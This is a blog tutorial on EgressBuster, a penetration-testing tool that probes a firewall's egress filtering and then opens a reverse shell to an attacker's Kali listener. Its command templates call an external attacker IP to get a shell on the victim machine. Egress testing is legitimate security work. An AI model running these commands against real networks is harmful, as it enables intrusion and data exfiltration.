Tuesday, July 16, 2024

EgressBuster – A Pentesting Tool to Compromise Victim via Command & Control using Firewall

Network Firewalls acts as a fortification to keep the internal corporate network secure. Many people often think as it is protecting a device from incoming traffic. Most outbound connections are insecure without egress traffic filtering.

If Egress Traffic Filtering failed then attackers bypass the firewall to command and control the external network

Egress filters out traffic leaving your network and restricts your internal users from getting off of your network and going anywhere they would like(Different Network). So, egress traffic filtering help in mitigating data exfiltration from your networked assets.

While performing the penetration test, companies do special exceptions to ports to prevent access to the outside Internet. So Egressbuster will test the effectiveness of egress filtering in an environment. Download EgressBuster Here.

Let’s see how to work with EgressBuster to bypass Firewall and how we should Get Shell.

Also Read Net Creds-Sniff out the Username and Password of Users in your Network

Victim Machine (Windows 10):

  • Run and execute a command: egressbuster.exe <External Attackers Listening Ip> <Range of ports> shell
  • Now It will be sending TCP packets on each and every port originating from inside the firewall to externally facing server listening ports.
  • The external facing server is the Kali Linux attackers machine.

Note: If the corporate network is secured with Firewall Best practices on Egress Traffic Filtering it should not allow access to the external network. If Egress Traffic Filtering failed It permits command and control to the external network.

Attackers Machine(Kali Linux):

  • Listener outside the network uses iptables to listen on all 65k ports for a connection.
Bypass Firewall
  • Execute the command: ./egress_listener.py <Kali Linux Ip or Attackers Ip> <Select Interface> <Victims Ip> shell
  • Once the Victims Internal network is not effective in egress filtering. Here we should Get Shell!

Obtained Victims Machine – Bypass Firewall

  • The victims network opened with port 1090/tcp and forwarded to the external network due to a lack of egress filtering.
  • Connection established successfully to a shell, let us inject commands.
  • Now the attacker can perform all attacks on the internal network.

Attackers can use these techniques to collect and forward sensitive information from your network or to attack or spam other networks.Test the effectiveness of egress filtering in your network with EgressBuster. Happy Hacking !!!


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